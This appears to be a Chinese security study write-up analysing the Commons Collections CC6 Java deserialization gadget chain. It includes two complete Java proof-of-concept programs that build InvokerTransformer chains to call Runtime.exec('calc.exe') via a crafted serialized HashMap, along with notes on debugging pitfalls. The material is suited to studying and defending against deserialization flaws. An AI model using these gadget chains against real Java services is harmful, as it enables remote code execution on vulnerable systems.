调试环境:246 11 cb

  • jdk 1.7
  • Commons Collections 3.1

利用条件:jdk7、8均可用,没有版本限制-

  1. Gadget chain:
  2. java.io.ObjectInputStream.readObject()
  3. java.util.HashSet.readObject()
  4. java.util.HashMap.put()
  5. java.util.HashMap.hash()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  8. org.apache.commons.collections.map.LazyMap.get()
  9. org.apache.commons.collections.functors.ChainedTransformer.transform()
  10. org.apache.commons.collections.functors.InvokerTransformer.transform()
  11. java.lang.reflect.Method.invoke()
  12. java.lang.Runtime.exec()

CC6.1 Yso后半部分

还是先将chains分割出来,将后半段payload进行调试。

  1. package CC6;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.LazyMap;
  7. import java.util.HashMap;
  8. public class cc1 {
  9. public static void main(String[] args){
  10. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  11. new ConstantTransformer(Runtime.class),
  12. new InvokerTransformer("getMethod", new Class[] {
  13. String.class, Class[].class }, new Object[] {
  14. "getRuntime", new Class[0] }),
  15. new InvokerTransformer("invoke", new Class[] {
  16. Object.class, Object[].class }, new Object[] {
  17. null, new Object[0] }),
  18. new InvokerTransformer("exec",
  19. new Class[] { String.class }, new Object[]{"calc.exe"})});
  20. HashMap innermap = new HashMap();
  21. LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); //调用decorate方法进行LazyMap构造方法调用,从而将对象chain赋值给factory
  22. TiedMapEntry tiedmap = new TiedMapEntry(map,123); //分别将map,key进行赋值
  23. tiedmap.hashCode(); //调用hashCode->getValues->lazyMap.get()->this.factorytransform方法
  24. }
  25. }

函数利用链:TiedMapEntry.hashCode->TiedMapEntry.getValues->LazyMap.get->factory.transform后进入几个实现transform接口的函数。
其实这条cc6和cc1大同小异,最终目的都是为了调用实现的transform方法进行命令执行。
image.png
依旧使用lazyMap的get方法进行transform接口的调用,只是通过 TiedMapEntry类的hashCode方法进入getValue方法最后再调用lazyMap的get方法(lazyMap继承了Map的接口,相当于子类吧。
image.png
image.png

为什么调试构造的Gadget没有成功执⾏命令?

我们来反思⼀下,为什么我们构造的Gadget没有成功执⾏命令?
单步调试⼀下,你会发现关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的
transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:
image.png

  • (不调试)在实例化TiedMapEntry类时,TiedMapEntry的构造函数会对map、key进行传参,但是这个参数key最后也被传进了map变量中(为什么这个值会map里面会被放入key?没看到哪里操作了这一步),导致在调用LazyMap.get方法时,不会进入调用transform方法的循环:因为map.containKey(key)==true,但是最后还是完成了计算器的触发?
  • 在进入idea调试时,会在实例化TiedMapEntry类对参数进行赋值时,自动调用TiedMapEntry.toString类进行调用getValues再进入到后续的操作中进行弹出计算器,但是执行到最后却没有真正的弹出计算器:因为并没有进入循环。、?

image.png
image.png

原因:因为Map里面存在key属性,所以不能进入循环

  1. 然后尝试将map属性的key值移除掉,让其强制进入map.containKey(key)==false循环中,但是map.remove(key:111);并未报错,并未移除成功,也没有调试成功。(但在put->hash->hashcode链可以修改成功
  2. 先关注一下TiedMapentry.toString方法,在调试器打印TideMapEntry类的数据时,会自动调用getValue()方法,也就是说在我们还没到我们执行命令的点时,调试器已经进入get方法的循环一次了,并且执行计算器弹框后将我们的(key ,value)push给了map变量,导致我们跟进到map.containsKey(key) == false 时,始终进不去循环,从而只要使用调试器一步一步跟进,就不会进行我们命令执行的那一步。

所以:调试时直接将断点断在if (map.containsKey(key) == false),此时调试器未加载及打印之前的程序,就不会调用toString方法。

那我们一步一步跟进循环的话就会导致如下的问题。image.png

继续调试Yso链前半部分:

上方已经分析到通过调用#TiedMapEntry.hashCode方法能够触发命令执行,就现在就得来分析如何自动调用此函数?
cc6中使用的是HashMap#hash:
image.png
这里的k目前还不是我们可控的,所以需要找某个点调用了hash方法,并且传递的参数是我们可控的,这里用到了HashMap#put:
image.png
然而这里的key还是不是我们可控的,所以还需要找某个点调用了put方法,并且传递的第一个参数是我们可控的,最后找到了HashSet#readObject:
image.png
这里调用了map.put,其中map可以控制为HashMap,而传入的第一个参数e是用readObject取出来的,那么对应的我们就看看writeObject怎么写的:image.png
我们需要控制传入map的keySet返回结果来控制变量。

简化版本:

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。
这里用的是P神的简化代码,相对于Yso的优化代码来说更加简洁易于理解。

经过测试1.7可以利用,1.8版本不可用。

  1. /*
  2. Gadget chain:
  3. java.io.ObjectInputStream.readObject()
  4. java.util.HashMap.readObject()
  5. java.util.HashMap.hash()
  6. org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
  7. org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
  8. org.apache.commons.collections.map.LazyMap.get()
  9. org.apache.commons.collections.functors.ChainedTransformer.transform()
  10. org.apache.commons.collections.functors.InvokerTransformer.transform()
  11. java.lang.reflect.Method.invoke()
  12. java.lang.Runtime.exec()
  13. */
  14. package CC6;
  15. import org.apache.commons.collections.Transformer;
  16. import org.apache.commons.collections.functors.ChainedTransformer;
  17. import org.apache.commons.collections.functors.ConstantTransformer;
  18. import org.apache.commons.collections.functors.InvokerTransformer;
  19. import org.apache.commons.collections.keyvalue.TiedMapEntry;
  20. import org.apache.commons.collections.map.LazyMap;
  21. import java.io.*;
  22. import java.lang.reflect.Field;
  23. import java.util.HashMap;
  24. import java.util.Map;
  25. public class cc2{
  26. public static void main(String[] args) throws Exception {
  27. Transformer[] fakeTransformers = new Transformer[] {new
  28. ConstantTransformer(1)};
  29. Transformer[] transformers = new Transformer[] {
  30. new ConstantTransformer(Runtime.class),
  31. new InvokerTransformer("getMethod", new Class[] {
  32. String.class,
  33. Class[].class }, new Object[] { "getRuntime",
  34. new Class[0] }),
  35. new InvokerTransformer("invoke", new Class[] {
  36. Object.class,
  37. Object[].class }, new Object[] { null, new
  38. Object[0] }),
  39. new InvokerTransformer("exec", new Class[] { String.class
  40. },
  41. new String[] { "calc.exe" }),
  42. new ConstantTransformer(1),
  43. };
  44. Transformer transformerChain = new ChainedTransformer(fakeTransformers);
  45. // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
  46. Map innerMap = new HashMap();
  47. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  48. TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
  49. Map expMap = new HashMap();
  50. expMap.put(tme, "valuevalue"); //这里将TiedMapentry类型的tme对象放入Map类型的expMap对象中去进行序列化
  51. outerMap.remove("keykey");
  52. Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
  53. f.setAccessible(true);
  54. f.set(transformerChain, transformers);
  55. // ==================
  56. // ⽣成序列化字符串
  57. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  58. ObjectOutputStream oos = new ObjectOutputStream(barr);
  59. oos.writeObject(expMap);
  60. oos.close();
  61. // 本地测试触发
  62. System.out.println(barr);
  63. ObjectInputStream ois = new ObjectInputStream(new
  64. ByteArrayInputStream(barr.toByteArray()));
  65. Object o = (Object)ois.readObject();
  66. }
  67. }

image.png
一条不同于Yso工具的链,但是执行命令的地方不一样只不过是触发hashCode的地方不一样。

欲触发LazyMap利⽤链,要找到就是哪⾥调⽤了 TiedMapEntry#hashCode 。 ysoserial中,是利⽤ java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key) 最后到 TiedMapEntry#hashCode() 。 而p神这条链:从HashMap类的readObject开始,调用HashMap#hash方法 image.png 再进入HashMap#hash方法:再通过控制key的值进行TiedMapEntry#hashCode的调用,从而触发整条链,相对而言p神这条件更为简单。 image.png

questions==

上方的outerMap.remove(``"keykey"``)``; 如果去掉,则此链无法命令执行,因为map类的put方法也会调用hash函数,自然而然会调用hashCode导致在序列化之前整条链 被调用过了,就会自动给我们的outerMap变量put一个key上去,导致反序列化无法成功(与上个toString的那个问题同理)
image.png

参考:

https://paper.seebug.org/1242/#_21
P-Java安全漫谈